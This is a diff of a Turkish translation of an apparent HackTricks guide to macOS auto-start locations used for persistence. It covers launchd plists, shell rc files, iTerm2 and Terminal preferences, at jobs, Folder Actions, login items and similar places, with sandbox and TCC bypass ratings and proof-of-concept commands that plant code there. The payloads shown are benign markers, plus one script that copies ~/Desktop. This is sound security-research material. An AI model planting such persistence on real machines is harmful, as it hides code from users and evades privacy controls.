`/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bakın). {% hint style="info" %} -Yeni Daemon'lar veya Ajanlar yapılandırma dosyaları **bir sonraki yeniden başlatmadan sonra yüklenecek veya** `launchctl load ` kullanılarak yüklenebilir. **Ayrıca, .plist uzantısına sahip olmayan dosyaların** `launchctl -F ` ile yüklenebilmesi de mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatmadan sonra yüklenmeyecektir).\ -`launchctl unload ` ile **yüklemenin geri alınması** da mümkündür (bu işaret ettiği işlem sonlandırılacaktır), +Yeni Daemon'lar veya Ajan'ların yapılandırma dosyaları, **bir sonraki yeniden başlatmadan sonra veya** `launchctl load ` **kullanılarak yüklenecektir**. Ayrıca, `.plist` uzantısız dosyaların da `launchctl -F ` ile yüklenebilmesi mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatma sonrasında yüklenmeyecektir).\ +`launchctl unload ` ile **yüklemenin geri alınması** da mümkündür (bu işaret ettiği işlem sonlandırılacaktır). -Bir **Ajanın** veya **Daemonun** **çalışmasını engelleyen** bir şeyin (örneğin, bir geçersiz kılma) olmadığından emin olmak için şunu çalıştırın: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` +Bir **Ajan** veya **Daemon'ın çalışmasını engelleyen bir şeyin (örneğin, bir geçersiz kılma) olmadığından emin olmak için şunu çalıştırın: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` {% endhint %} Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele: @@ -100,7 +101,7 @@ Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele: launchctl list ``` {% hint style="warning" %} -Eğer bir plist bir kullanıcıya aitse, hatta bir daemon sistem genelindeki klasörlerdeyse, **görev kullanıcı olarak** ve kök olarak değil yürütülecektir. Bu bazı ayrıcalık yükseltme saldırılarını önleyebilir. +Eğer bir plist bir kullanıcıya aitse, hatta bir daemon sistemi genel klasörlerindeyse, **görev kullanıcı olarak** ve kök olarak değil yürütülecektir. Bu bazı ayrıcalık yükseltme saldırılarını önleyebilir. {% endhint %} #### launchd Hakkında Daha Fazla Bilgi @@ -114,16 +115,16 @@ Eğer bir plist bir kullanıcıya aitse, hatta bir daemon sistem genelindeki kla * crond (`com.apple.systemstats.daily.plist`): Saat 00:15'te başlamak için `StartCalendarInterval` değerine sahiptir * **Ağ daemonları**: * `org.cups.cups-lpd`: TCP'de dinler (`SockType: stream`) ve `SockServiceName: printer` - * SockServiceName ya bir bağlantı noktası olmalı ya da `/etc/services` dosyasındaki bir hizmet olmalıdır + * SockServiceName ya bir bağlantı noktası olmalı ya da `/etc/services`'den bir hizmet olmalıdır * `com.apple.xscertd.plist`: Port 1640'ta TCP üzerinde dinler -* **Yol daemonları**, belirtilen yol değiştiğinde yürütülenler: - * `com.apple.postfix.master`: `/etc/postfix/aliases` yolunu kontrol eder +* **Yol daemonları**: + * Belirtilen yol değiştiğinde yürütülen `com.apple.postfix.master`: `/etc/postfix/aliases` yolunu kontrol eder * **IOKit bildirim daemonları**: * `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` * **Mach port**: * `com.apple.xscertd-helper.plist`: `MachServices` girişinde `com.apple.xscertd.helper` adını belirtir * **UserEventAgent**: - * Bu öncekinden farklıdır. Belirli bir olaya yanıt olarak uygulamaları başlatmak için launchd'yi kullanır. Ancak bu durumda, ana işlem `launchd` değil `/usr/libexec/UserEventAgent`dir. Her bir eklenti, başlatıcısını `XPCEventModuleInitializer` anahtarında veya eski eklentiler için `Info.plist` dosyasının `CFPluginFactories` sözlüğünde `FB86416D-6164-2070-726F-70735C216EC0` anahtarı altında belirtir. + * Bu öncekinden farklıdır. Belirli bir olaya yanıt olarak uygulamaları başlatmak için launchd'yi kullanır. Ancak bu durumda, ana işlem dahil olan `/usr/libexec/UserEventAgent` olmasına rağmen, `/System/Library/UserEventPlugins/` klasöründen eklentileri yükler. Her eklenti, başlatıcısını `XPCEventModuleInitializer` anahtarında veya eski eklentilerin durumunda, `Info.plist`'nin `CFPluginFactories` sözlüğünde `FB86416D-6164-2070-726F-70735C216EC0` anahtarının altında belirtir. ### Kabuk Başlangıç Dosyaları @@ -132,7 +133,7 @@ Açıklama (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https:// * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) * TCC Atlatma: [✅](https://emojipedia.org/check-mark-button) -* Ancak bu dosyaları yükleyen bir kabuk yürüten TCC atlatma özellikli bir uygulama bulmanız gerekmektedir +* Ancak bu dosyaları yükleyen bir kabuk çalıştıran bir TCC atlatma uygulaması bulmanız gerekmektedir #### Konumlar @@ -142,9 +143,9 @@ Açıklama (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https:// * Tetikleyici: zsh ile bir terminal aç * Kök izni gereklidir * **`~/.zlogout`** - * Tetikleyici: zsh ile bir terminalden çık + * Tetikleyici: zsh ile bir terminali kapat * **`/etc/zlogout`** - * Tetikleyici: zsh ile bir terminalden çık + * Tetikleyici: zsh ile bir terminali kapat * Kök izni gereklidir * Muhtemelen daha fazlası: **`man zsh`** * **`~/.bashrc`** @@ -156,9 +157,9 @@ Açıklama (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https:// #### Açıklama ve Sömürü -`zsh` veya `bash` gibi bir kabuk ortamı başlatıldığında **belirli başlangıç dosyaları çalıştırılır**. macOS şu anda varsayılan kabuk olarak `/bin/zsh`'yi kullanmaktadır. Bu kabuk, Terminal uygulaması başlatıldığında veya bir cihaza SSH ile erişildiğinde otomatik olarak erişilir. macOS'ta ayrıca `bash` ve `sh` de bulunsa da kullanılmak için açıkça çağrılması gerekir. +`zsh` veya `bash` gibi bir kabuk ortamı başlatıldığında, **belirli başlangıç dosyaları çalıştırılır**. macOS şu anda varsayılan kabuk olarak `/bin/zsh`'yi kullanmaktadır. Bu kabuk, Terminal uygulaması başlatıldığında veya bir cihaza SSH ile erişildiğinde otomatik olarak erişilir. `bash` ve `sh` de macOS'ta bulunmasına rağmen, kullanılmak için açıkça çağrılmalıdır. -Okuyabileceğimiz zsh man sayfası olan **`man zsh`** uzun başlangıç dosyaları açıklamasına sahiptir. +Okuyabileceğimiz zsh man sayfası olan **`man zsh`**, başlangıç dosyalarının uzun açıklamasına sahiptir. ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc @@ -166,7 +167,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc ### Yeniden Açılan Uygulamalar {% hint style="danger" %} -Belirtilen sömürüyü yapılandırmak ve oturumu kapatıp açmak veya hatta yeniden başlatmak, uygulamayı çalıştırmam için işe yaramadı. (Uygulama çalıştırılmıyordu, belki de bu eylemler gerçekleştirilirken uygulamanın çalışıyor olması gerekiyor) +Belirtilen açığı yapılandırmak ve oturumu kapatıp açmak veya hatta yeniden başlatmak, uygulamayı çalıştırmam için işe yaramadı. (Uygulama çalıştırılmıyordu, belki bu eylemler gerçekleştirilirken çalışır durumda olması gerekiyor) {% endhint %} **Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) @@ -216,13 +217,13 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist #### Açıklama ve Sömürü -**`~/Library/Preferences`** içerisinde, Kullanıcı Tercihleri Uygulamalarında kullanıcının tercihleri saklanır. Bu tercihlerden bazıları, **diğer uygulamalar/skriptleri çalıştırmak** için bir yapılandırma tutabilir. +**`~/Library/Preferences`** içerisinde Kullanıcı Tercihleri uygulamaların tercihlerini saklar. Bu tercihlerden bazıları **diğer uygulamalar/skriptleri çalıştırmak** için bir yapılandırma tutabilir. Örneğin, Terminal Başlangıçta bir komutu çalıştırabilir:
-Bu yapılandırma, dosyada **`~/Library/Preferences/com.apple.Terminal.plist`** şu şekilde yansıtılır: +Bu yapılandırma, **`~/Library/Preferences/com.apple.Terminal.plist`** dosyasında şu şekilde yansıtılır: ```bash [...] "Window Settings" => { @@ -262,13 +263,13 @@ Bunu terminalden şu şekilde ekleyebilirsiniz: #### Konum * **Herhangi bir yer** -* **Tetikleyici**: Terminal Aç +* **Tetikleyici**: Terminali Aç #### Açıklama ve Sömürü -Eğer bir [**`.terminal`** betiği](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) oluşturursanız ve açarsanız, **Terminal uygulaması** otomatik olarak çağrılacak ve içinde belirtilen komutları çalıştırmak için kullanılacaktır. Eğer Terminal uygulamasının özel ayrıcalıkları varsa (örneğin TCC gibi), komutunuz bu özel ayrıcalıklarla çalıştırılacaktır. +Eğer bir [**`.terminal`** betiği](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) oluşturursanız ve açarsanız, **Terminal uygulaması** otomatik olarak çağrılacak ve içinde belirtilen komutları çalıştırmak için kullanılacaktır. Eğer Terminal uygulamasının özel ayrıcalıkları varsa (örneğin TCC), komutunuz bu özel ayrıcalıklarla çalıştırılacaktır. -Deneyin: +Denemek için: ```bash # Prepare the payload cat > /tmp/test.terminal << EOF @@ -341,9 +342,9 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilb #### Açıklama ve Sömürü -QuickLook eklentileri, bir dosyanın önizlemesini tetiklediğinizde çalıştırılabilir (Finder'da dosya seçiliyken boşluk çubuğuna basın) ve o dosya türünü destekleyen bir **eklenti yüklü** olduğunda çalıştırılabilir. +QuickLook eklentileri, bir dosyanın önizlemesini tetiklediğinizde **(Finder'da dosya seçiliyken boşluk çubuğuna basın)** ve **o dosya türünü destekleyen bir eklenti** yüklü olduğunda çalıştırılabilir. -Kendi QuickLook eklentinizi derleyip, onu yüklemek için önceki konumlardan birine yerleştirebilir ve ardından desteklenen bir dosyaya gidip tetiklemek için boşluk tuşuna basabilirsiniz. +Kendi QuickLook eklentinizi derleyip, yüklemek için önceki konumlardan birine yerleştirebilir ve ardından desteklenen bir dosyaya gidip tetiklemek için boşluk tuşuna basabilirsiniz. ### ~~Giriş/Çıkış Kancaları~~ @@ -393,7 +394,7 @@ Root kullanıcısı **`/private/var/root/Library/Preferences/com.apple.loginwind ## Koşullu Kum Sandığı Atlatma {% hint style="success" %} -Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size basitçe bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sıradışı" kullanıcı** eylemleri veya ortamlar gibi **çok yaygın olmayan koşullar beklemeksizin** bir şeyi yürütmenizi sağlar. +Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size basitçe bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sıradışı" kullanıcı** eylemleri veya ortamlar gibi **çok yaygın olmayan koşullar** beklemeksizin bir şeyi yürütmenizi sağlar. {% endhint %} ### Cron @@ -417,7 +418,7 @@ Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumların ```bash crontab -l ``` -MacOS'ta, **`/usr/lib/cron/tabs/`** ve **`/var/at/tabs/`** (root gerektirir) dizinlerinde kullanıcıların tüm cron işlerini görebilirsiniz. +MacOS'ta, **`/usr/lib/cron/tabs/`** ve **`/var/at/tabs/`** dizinlerinde (root izni gerektirir) kullanıcıların tüm cron işlerini görebilirsiniz. MacOS'ta, belirli bir sıklıkla betikleri çalıştıran birkaç klasör bulunabilir: ```bash @@ -450,7 +451,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilb #### Açıklama ve Sömürü -**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** konumunda depolanan betikler çalıştırılacaktır. Örneğin: +**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** klasöründe saklanan betikler çalıştırılacaktır. Örneğin: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -459,7 +460,7 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` -Dosya `~/Library/LaunchAgents/` ve `~/Library/LaunchDaemons/` klasörlerinde otomatik başlatma öğeleri bulunabilir. Bu öğeler, kullanıcı oturumu başladığında veya sistem başlatıldığında çalıştırılacak komutları içerebilir. Bu konumlar genellikle kötü niyetli yazılımlar tarafından kullanılır. Bu klasörlerdeki tüm içeriği düzenli olarak kontrol etmek önemlidir. +Dosya `~/Library/LaunchAgents/` ve `~/Library/LaunchDaemons/` içindeki dosyaları inceleyin. Bu konumlar, kullanıcı düzeyindeki otomatik başlatma girişlerini içerir. ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 @@ -480,7 +481,7 @@ Betik **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** de yür ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` -**`~/Library/Preferences/com.googlecode.iterm2.plist`** konumundaki iTerm2 tercihleri, iTerm2 terminali açıldığında **çalıştırılacak bir komutu belirtebilir**. +**`~/Library/Preferences/com.googlecode.iterm2.plist`** konumundaki iTerm2 tercihleri, iTerm2 terminali açıldığında **yürütülecek bir komutu belirtebilir**. Bu ayar, iTerm2 ayarlarında yapılandırılabilir: @@ -496,7 +497,7 @@ plutil -p com.googlecode.iterm2.plist [...] "Initial Text" => "touch /tmp/iterm-start-command" ``` -Komutun yürütülmesi için şu şekilde ayarlayabilirsiniz: +Komutun çalıştırılacak şekilde ayarlayabilirsiniz: {% code overflow="wrap" %} ```bash @@ -512,7 +513,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 {% endcode %} {% hint style="warning" %} -İTerm2 tercihlerini kötüye kullanmak için **başka yolların** yüksek olasılıkla olduğu düşünülmektedir. +İTerm2 tercihlerini kötüye kullanmak için **başka yolların olması olasıdır**. {% endhint %} ### xbar @@ -520,9 +521,9 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 Açıklama: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/) * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak xbar'ın yüklü olması gerekmektedir +* Ancak xbar yüklü olmalı * TCC atlatma: [✅](https://emojipedia.org/check-mark-button) -* Erişilebilirlik izinleri istenir +* Erişilebilirlik izinleri istiyor #### Konum @@ -546,7 +547,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" * Kum havuzunu atlamak için faydalı: [✅](https://emojipedia.org/check-mark-button) * Ancak Hammerspoon'un yüklü olması gerekir * TCC atlatma: [✅](https://emojipedia.org/check-mark-button) -* Erişilebilirlik izinleri istiyor +* Erişilebilirlik izni istiyor #### Konum @@ -555,7 +556,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" #### Açıklama -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon), işlemleri için **LUA betik dili**ni kullanan **macOS** için bir otomasyon platformu olarak hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu ve kabuk betiklerinin yürütülmesini destekler, betikleme yeteneklerini önemli ölçüde artırır. +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon), işlemleri için **LUA betik dili**ni kullanan **macOS** için bir otomasyon platformu olarak hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artırır. Uygulama, `~/.hammerspoon/init.lua` adlı tek bir dosyayı arar ve betik başlatıldığında yürütülür. ```bash @@ -567,7 +568,7 @@ EOF ### BetterTouchTool * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak BetterTouchTool'un yüklü olması gerekmektedir +* Ancak BetterTouchTool'un yüklü olması gerekir * TCC atlatma: [✅](https://emojipedia.org/check-mark-button) * Otomasyon-Kısayolları ve Erişilebilirlik izinleri istiyor @@ -575,12 +576,12 @@ EOF * `~/Library/Application Support/BetterTouchTool/*` -Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürütmek için göstergeler sağlar. Bir saldırgan, **kendi kısayolunu ve eylemini veritabanında yürütmek için yapılandırabilir** ve keyfi kod yürütmesini sağlayabilir (bir kısayol sadece bir tuşa basmak olabilir). +Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürütmek için göstergeler sağlar. Bir saldırgan, **kendi kısayolunu ve eylemini yürütmek için veritabanında yapılandırabilir** ve keyfi kod yürütebilir (bir kısayol sadece bir tuşa basmak olabilir). ### Alfred * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak Alfred yüklü olmalıdır +* Ancak Alfred'ın yüklü olması gerekir * TCC atlatma: [✅](https://emojipedia.org/check-mark-button) * Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istiyor @@ -588,16 +589,16 @@ Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürü * `???` -Belirli koşullar karşılandığında kod yürütebilen iş akışları oluşturmanıza olanak tanır. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması mümkündür (iş akışlarını kullanmak için premium sürümü satın almak gerekmektedir). +Belirli koşullar karşılandığında kod yürütebilen iş akışları oluşturmanıza olanak tanır. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akışlarını kullanmak için premium sürümü satın almak gereklidir). ### SSHRC Açıklama: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak ssh etkinleştirilmiş ve kullanılmış olmalıdır +* Ancak ssh etkinleştirilmiş ve kullanılmış olmalı * TCC atlatma: [✅](https://emojipedia.org/check-mark-button) -* SSH'nin FDA erişimine sahip olması gerekmektedir +* SSH'nin FDA erişimine sahip olması gerekiyor #### Konum @@ -608,7 +609,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilb * **Tetikleyici**: ssh üzerinden oturum açma {% hint style="danger" %} -Ssh'yi açmak için Tam Disk Erişimi gereklidir: +SSH'yi açmak için Tam Disk Erişimi gereklidir: ```bash sudo systemsetup -setremotelogin on ``` @@ -618,7 +619,7 @@ sudo systemsetup -setremotelogin on Varsayılan olarak, `/etc/ssh/sshd_config` dosyasında `PermitUserRC no` belirtilmediği sürece, bir kullanıcı **SSH üzerinden giriş yaptığında** **`/etc/ssh/sshrc`** ve **`~/.ssh/rc`** betikleri çalıştırılacaktır. -### **Giriş Öğeleri** +### **Oturum Açma Öğeleri** Açıklama: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/) @@ -629,15 +630,15 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilb #### Konumlar * **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** -* **Tetikleyici:** Giriş -* Sömürü yükü **`osascript`** çağrısıyla depolanmış +* **Tetikleyici:** Oturum Açma +* Sömürü yükü, **`osascript`** çağrılarak depolanmıştır * **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** -* **Tetikleyici:** Giriş -* Kök erişimi gereklidir +* **Tetikleyici:** Oturum Açma +* Root gereklidir #### Açıklama -Sistem Tercihleri -> Kullanıcılar ve Gruplar -> **Giriş Öğeleri**'nde, **kullanıcı oturum açtığında yürütülecek öğeleri** bulabilirsiniz.\ +Sistem Tercihleri -> Kullanıcılar ve Gruplar -> **Oturum Açma Öğeleri**'nde, **kullanıcı oturum açtığında çalıştırılacak öğeleri** bulabilirsiniz.\ Onları komut satırından listelemek, eklemek ve kaldırmak mümkündür: ```bash #List all items: @@ -651,37 +652,37 @@ osascript -e 'tell application "System Events" to delete login item "itemname"' ``` Bu öğeler **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** dosyasında saklanır. -**Oturum açma öğeleri**, yapılandırmayı **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** konumunda saklayacak olan [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) API'si kullanılarak da belirtilebilir. +**Giriş öğeleri** ayrıca [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) API'sini kullanarak belirtilebilir, bu da yapılandırmayı **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** konumunda saklayacaktır. -### ZIP olarak Oturum Açma Öğesi +### ZIP olarak Giriş Öğesi -(Oturum Açma Öğeleri hakkında önceki bölüme bakın, bu bir uzantıdır) +(Giriş Öğeleri hakkında önceki bölüme bakın, bu bir uzantıdır) -Eğer bir **ZIP** dosyasını bir **Oturum Açma Öğesi** olarak saklarsanız, **`Archive Utility`** onu açacak ve örneğin ZIP dosyası **`~/Library`** konumunda saklanmış ve içinde **`LaunchAgents/file.plist`** adlı bir arka kapı içeren bir klasör bulunduruyorsa (varsayılan olarak bulunmaz), o klasör oluşturulacak ve plist eklenerek bir sonraki kullanıcı tekrar oturum açtığında, plist'te belirtilen **arka kapı yürütülecektir**. +Eğer bir **ZIP** dosyasını bir **Giriş Öğesi** olarak saklarsanız, **`Archive Utility`** onu açacak ve örneğin ZIP dosyası **`~/Library`** konumunda saklanmış ve içinde **`LaunchAgents/file.plist`** adlı bir arka kapı içeren bir klasör bulunduruyorsa (varsayılan olarak bulunmaz), o klasör oluşturulacak ve plist eklenerek bir sonraki kullanıcı tekrar oturum açtığında, **plist'te belirtilen arka kapı yürütülecektir**. Başka bir seçenek, **`.bash_profile`** ve **`.zshenv`** dosyalarını kullanıcı ANA DİZİN içine oluşturmaktır, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalışacaktır. ### At -Açıklama: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) +Yazı: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) -* Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak **`at`** komutunu **çalıştırmanız** ve etkin olması gerekmektedir +* Kum havuzu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) +* Ancak **`at`** komutunu **çalıştırmanız** ve etkin olması gerekir * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) #### Konum -* **`at`** komutunu **çalıştırmanız** ve etkin olması gerekmektedir +* **`at`** komutunu **çalıştırmanız** ve etkin olması gerekir #### **Açıklama** -`at` görevleri, belirli zamanlarda yürütülmek üzere **tek seferlik görevlerin zamanlamasını** sağlamak için tasarlanmıştır. Cron işleri gibi, `at` görevleri otomatik olarak yürütüldükten sonra kaldırılır. Bu görevlerin sistem yeniden başlatmaları arasında kalıcı olmaları, belirli koşullar altında potansiyel güvenlik endişeleri olarak işaretlenmelerini sağlar. +`at` görevleri belirli zamanlarda yürütülmek üzere tasarlanmıştır. Cron işleri gibi, `at` görevleri otomatik olarak yürütmeden sonra kaldırılır. Bu görevlerin sistem yeniden başlatmaları arasında kalıcı olduğunu unutmamak önemlidir, bu da onları belirli koşullar altında potansiyel güvenlik endişeleri olarak işaretler. **Varsayılan olarak** devre dışı bırakılmışlardır ancak **root** kullanıcısı bunları aşağıdaki komutla **etkinleştirebilir**: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` -Bu, 1 saat içinde bir dosya oluşturacaktır: +Bu, 1 saat içinde bir dosya oluşturacak: ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` @@ -723,10 +724,10 @@ unset OLDPWD echo 11 > /tmp/at.txt ``` {% hint style="warning" %} -Eğer AT görevleri etkin değilse, oluşturulan görevler yürütülmeyecektir. +Eğer AT görevleri etkin değilse, oluşturulan görevler çalıştırılmayacak. {% endhint %} -**İş dosyaları**, `/private/var/at/jobs/` dizininde bulunabilir. +**İş dosyaları** şurada bulunabilir: `/private/var/at/jobs/` ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 @@ -741,7 +742,7 @@ Dosya adı sırayı, iş numarasını ve çalıştırılacağı zamanı içerir. * `0001a` - onaltılık iş numarası, `0x1a = 26` * `019bdcd2` - onaltılık zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2`, ondalık olarak `26991826`'dır. 60 ile çarptığımızda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00`'yi temsil eder. -İş dosyasını yazdırırsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini buluruz. +İş dosyasını yazdırırsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini görürüz. ### Klasör Eylemleri @@ -749,7 +750,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilb Açıklama: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak Klasör Eylemlerini yapılandırmak için **`System Events`** ile iletişim kurabilmek için `osascript`'ı argümanlarla çağırabilmeniz gerekir +* Ancak Klasör Eylemlerini yapılandırmak için `System Events` ile iletişim kurabilmek için `osascript`'ı argümanlarla çağırabilmeniz gerekir * TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) * Masaüstü, Belgeler ve İndirmeler gibi bazı temel TCC izinlerine sahiptir @@ -763,7 +764,7 @@ Açıklama: [https://posts.specterops.io/folder-actions-for-persistence-on-macos #### Açıklama ve Sömürü -Klasör Eylemleri, bir klasördeki değişikliklerle otomatik olarak tetiklenen betiklerdir; öğeler eklenirken, kaldırılırken veya diğer eylemler gerçekleşirken veya klasör penceresinin açılması veya yeniden boyutlandırılması gibi. Bu eylemler çeşitli görevler için kullanılabilir ve Finder UI veya terminal komutları kullanılarak tetiklenebilir. +Klasör Eylemleri, bir klasördeki değişikliklerle otomatik olarak tetiklenen betiklerdir; öğeler eklenirken, kaldırılırken veya diğer eylemler gerçekleşirken veya klasör penceresinin açılması veya boyutlandırılması gibi. Bu eylemler çeşitli görevler için kullanılabilir ve Finder UI veya terminal komutları kullanılarak tetiklenebilir. Klasör Eylemleri kurmak için şu seçeneklere sahipsiniz: @@ -822,7 +823,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123"); mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` -Sonra, `Folder Actions Setup` uygulamasını açın, **izlemek istediğiniz klasörü seçin** ve sizin durumunuzda **`folder.scpt`**'yi seçin (benim durumumda buna output2.scp adını verdim): +Sonra, `Folder Actions Setup` uygulamasını açın, **izlemek istediğiniz klasörü seçin** ve sizin durumunuzda **`folder.scpt`**'yi seçin (benim durumumda bunu output2.scp olarak adlandırdım):
@@ -852,7 +853,7 @@ Ve bu benim için çalışmadı, ama bunlar yazıdan talimatlar:( Yazı: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/) * Kum havuzunu atlamak için kullanışlı: [✅](https://emojipedia.org/check-mark-button) -* Ancak kötü niyetli bir uygulamayı sisteme kurmanız gerekmektedir +* Ancak kötü niyetli bir uygulamayı sisteme kurmuş olmanız gerekmektedir * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) #### Konum @@ -864,7 +865,7 @@ Yazı: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.gi Dock'ta görünen tüm uygulamalar, plist içinde belirtilmiştir: **`~/Library/Preferences/com.apple.dock.plist`** -Sadece şu şekilde **bir uygulama eklemek** mümkündür: +Sadece şu şekilde bir uygulama eklemek mümkündür: {% code overflow="wrap" %} ```bash @@ -948,9 +949,9 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbi #### Açıklama ve Sömürü -Kodunuzla birlikte bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz**](https://github.com/viktorstrate/color-picker-plus)) ve bir yapılandırıcı ekleyin ([Ekran Koruyucu bölümündeki gibi](macos-auto-start-locations.md#screen-saver)) ve paketi `~/Library/ColorPickers` dizinine kopyalayın. +Kodunuzla bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz**](https://github.com/viktorstrate/color-picker-plus)) ve bir yapılandırıcı ekleyin (benzer şekilde [Ekran Koruyucu bölümünde](macos-auto-start-locations.md#screen-saver) olduğu gibi) ve paketi `~/Library/ColorPickers` dizinine kopyalayın. -Sonra, renk seçicisi tetiklendiğinde sizin kodunuz da tetiklenmelidir. +Sonra, renk seçicisi tetiklendiğinde sizin de tetiklenmeniz gerekmektedir. Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu** olduğunu unutmayın: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` @@ -970,18 +971,18 @@ Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu* **Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\ **Açıklama**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html) -* Kum 